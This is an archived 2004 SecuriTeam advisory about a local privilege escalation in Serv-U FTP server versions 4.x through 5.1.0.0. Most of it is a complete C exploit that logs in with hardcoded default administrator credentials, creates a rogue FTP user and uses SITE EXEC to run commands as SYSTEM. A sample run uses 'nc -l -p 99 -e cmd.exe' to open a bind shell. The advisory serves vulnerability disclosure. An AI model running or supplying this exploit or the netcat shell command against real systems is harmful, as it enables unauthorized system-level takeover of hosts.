

# [NT] Serv-U Local Privilege Escalation Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0046.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 08/15/04

To: list@securiteam.com

Date: 15 Aug 2004 14:58:01 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Serv-U Local Privilege Escalation Vulnerability

---

## SUMMARY

" <<http://www.serv-u.com/>> Serv-U is a powerful, easy-to-use, award-winning FTP server created by Rob Beckers."

It is possible for a local unprivileged user to execute commands with SYSTEM privileges using a problem with Serv-U administration.

## DETAILS

Vulnerable Systems:

\* Serv-U version 4.x through 5.1.0.0 inclusive

The Serv-U FTP server in all its platforms has a local administration account that can be used to configure the server. This account has a default login and password credentials and is only available through the loopback interface. An unprivileged user can connect to the server with the default login information and use the "SITE EXEC" command to execute arbitrary commands. The commands are run with SYSTEM privileges hence turning Serv-U to a conduit through which administrative commands can be run.

## Securiteam: [NT] Serv-U Local Privilege Escalation Vulnerability

A proof of concept code that demonstrates this vulnerability is presented below:

```
/*
* Hax0rcitos proudly presents
* Serv-u Local Exploit >v3.x. (tested also against last version 5.1.0.0)
*
* All Serv-u Versions have default Login/password for local
Administration.
* This account is only available to connect in the loopback interface, so
a
* local user will be able to connect to Serv-u with this account and
create
* an ftp user with execute rights. after the user is created, just
connect
* to the ftp server and execute a raw "SITE EXEC" command. the program
will
* be execute with SYSTEM privileges.
*
* Copyright (c) 2003-2004 Haxorcitos.com . All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*
* Date: 10/2003
* Author: Andr s Tarasc Acunha
*
* Greetings to: #haxorcitos - #localhost and #!dsr blackxors =)
*
* Tested Against Serv-u 4.x and v5.1.0.0
```

```
G:\exploit\serv-U\local>whoami
INSANE\at4r
```

```
G:\exploit\serv-U\local>servulocal.exe "nc -l -p 99 -e cmd.exe"
Serv-u >3.x Local Exploit by Haxorcitos
```

```
<220 Serv-U FTP Server v5.0 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
*****
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
*****
>SITE MAINTENANCE
*****
[+] Creating New Domain...
<200-DomainID=3
220 Domain settings saved
*****
```

## Securiteam: [NT] Serv-U Local Privilege Escalation Vulnerability

```
[+] Domain Haxorcitos:3 Created
[+] Setting New Domain Online
<220 Server command OK
*****
[+] Creating Evil User
<200-User=haxorcitos
200 User settings saved
*****
[+] Now Exploiting...
>USER haxorcitos
<331 User name okay, need password.
*****
>PASS whitex0r
<230 User logged in, proceed.
*****
[+] Now Executing: nc -l -p 99 -e cmd.exe
<220 Domain deleted
*****
G:\exploit\serv-U\local>nc localhost 99
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>whoami
whoami
NT AUTHORITY\SYSTEM
C:\>
*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <io.h>
#include <process.h>

//Responses
#define BANNER "220 "
#define USEROK "331 User name okay"
#define PASSOK "230 User logged in, proceed."
#define ADMOK "230-Switching to SYSTEM MAINTENANCE mode."
#define DOMAINID "200-DomainID="
//Commands

#define XPLUSER "USER haxorcitos\r\n"
#define XPLPASSWORD "PASS whitex0r\r\n"
#define USER "USER LocalAdministrator\r\n"
#define PASSWORD "PASS #l@$ak#.lk;0@P\r\n"

#define MAINTENANCE "SITE MAINTENANCE\r\n"
#define EXIT "QUIT\r\n"
char newdomain[]="-SETDOMAIN\r\n"
```

## Securiteam: [NT] Serv-U Local Privilege Escalation Vulnerability

```
"-Domain=haxorcitos|0.0.0.0|2121|-1|1|0\r\n"
"-TZOEnable=0\r\n"
" TZOKey=\r\n";
/* "-DynDNSEnable=0\r\n"
" DynIPName=\r\n";
*/
char deldomain[]="-DELETEDOMAIN\r\n"
"-IP=0.0.0.0\r\n"
" PortNo=2121\r\n";

char newuser[] =
"-SETUSERSETUP\r\n"
"-IP=0.0.0.0\r\n"
"-PortNo=2121\r\n"
"-User=haxorcitos\r\n"
"-Password=whitex0r\r\n"
"-HomeDir=c:\\\r\n"
"-LoginMesFile=\r\n"
"-Disable=0\r\n"
"-RelPaths=1\r\n"
"-NeedSecure=0\r\n"
"-HideHidden=0\r\n"
"-AlwaysAllowLogin=0\r\n"
"-ChangePassword=0\r\n"
"-QuotaEnable=0\r\n"
"-MaxUsersLoginPerIP=-1\r\n"
"-SpeedLimitUp=0\r\n"
"-SpeedLimitDown=0\r\n"
"-MaxNrUsers=-1\r\n"
"-IdleTimeOut=600\r\n"
"-SessionTimeOut=-1\r\n"
"-Expire=0\r\n"
"-RatioUp=1\r\n"
"-RatioDown=1\r\n"
"-RatiosCredit=0\r\n"
"-QuotaCurrent=0\r\n"
"-QuotaMaximum=0\r\n"
"-Maintenance=None\r\n"
"-PasswordType=Regular\r\n"
"-Ratios=None\r\n"
" Access=c:\\\REL\r\n";

#define localport 43958
#define localip "127.0.0.1"

char cadena[1024];
int rec, domain;
/*****/

void ParseCommands(int sock, char *data, int ShowSend, int showResponses,
char *response) {
```

## Securiteam: [NT] Serv-U Local Privilege Escalation Vulnerability

```
send(sock,data,strlen(data),0);
if (ShowSend) printf(">%s",data);
Sleep(100);
do {
    rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
    if (rec<=0) return;
    if (showResponses) printf("<%s",cadena);
    if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0)
        domain=atoi(cadena+strlen(DOMAINID));
    //} while (strncmp(cadena,response,strlen(response))!=0);
} while (strstr(cadena,response)==NULL);
printf("*****\r\n");
}
/*****/

int main(int argc, char* argv[])
{
    WSADATA ws;
    int sock,sock2;

    struct sockaddr_in haxorcitos;
    struct sockaddr_in xpl;

    printf("Serv-u >3.x Local Exploit by Haxorcitos\r\n\r\n");
    if (argc<2) {
        printf("USAGE: ServuLocal.exe \"command\"\r\n");
        printf("Example: ServuLocal.exe \"nc.exe -l -p 99 -e cmd.exe\"");
        return(0);
    }

    if (WSAStartup( MAKEWORD(2,2), &ws )!=0) {
        printf(" [-] WSAStartup() error\n");
        exit(0);
    }

    haxorcitos.sin_family = AF_INET;
    haxorcitos.sin_port = htons(localport);
    haxorcitos.sin_addr.s_addr = inet_addr(localip);
    sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
    connect(sock,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos));
    rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
    printf("<%s",cadena);

    ParseCommands(sock,USER,1,1,USEROK);
    ParseCommands(sock,PASSWORD,1,1,PASSOK);
    ParseCommands(sock,MAINTENANCE,1,0,"230 ");

    printf("[+] Creating New Domain...\r\n");
    ParseCommands(sock,newdomain,0,1,BANNER);
    printf("[+] Domain Haxorcitos:%i Created\n",domain);
```

## Securiteam: [NT] Serv-U Local Privilege Escalation Vulnerability

```
/* Only for v5.x
printf("[+] Setting New Domain Online\r\n");
sprintf(cadena,"-SERVERCOMMAND\r\n-ID=%i\r\n
Command=DomainOnline\r\n",domain);
ParseCommands(sock,cadena,0,1,BANNER);
*/
printf("[+] Creating Evil User\r\n");
ParseCommands(sock,newuser,0,1,"200 ");
Sleep(1000);

printf("[+] Now Exploiting...\r\n");
xpl.sin_family = AF_INET;
xpl.sin_port = htons(2121);
xpl.sin_addr.s_addr = inet_addr(localip);
sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl));
rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]='\0';
ParseCommands(sock2,XPLUSER,1,1,USEROK);
ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK);
printf("[+] Now Executing: %s\r\n",argv[1]);
sprintf(cadena,"site exec %s\r\n",argv[1]);
send(sock2,cadena,strlen(cadena),0);
shutdown(sock2,SD_BOTH);
Sleep(100);
ParseCommands(sock,deldomain,0,1,BANNER);
send(sock,EXIT,strlen(EXIT),0);
shutdown(sock,SD_BOTH);
closesocket(sock);
closesocket(sock2);

return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:at4r@ciberdreams.com>> aT4r  
ins4n3.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

Securiteam: [NT] Serv-U Local Privilege Escalation Vulnerability

loss of business profits or special damages.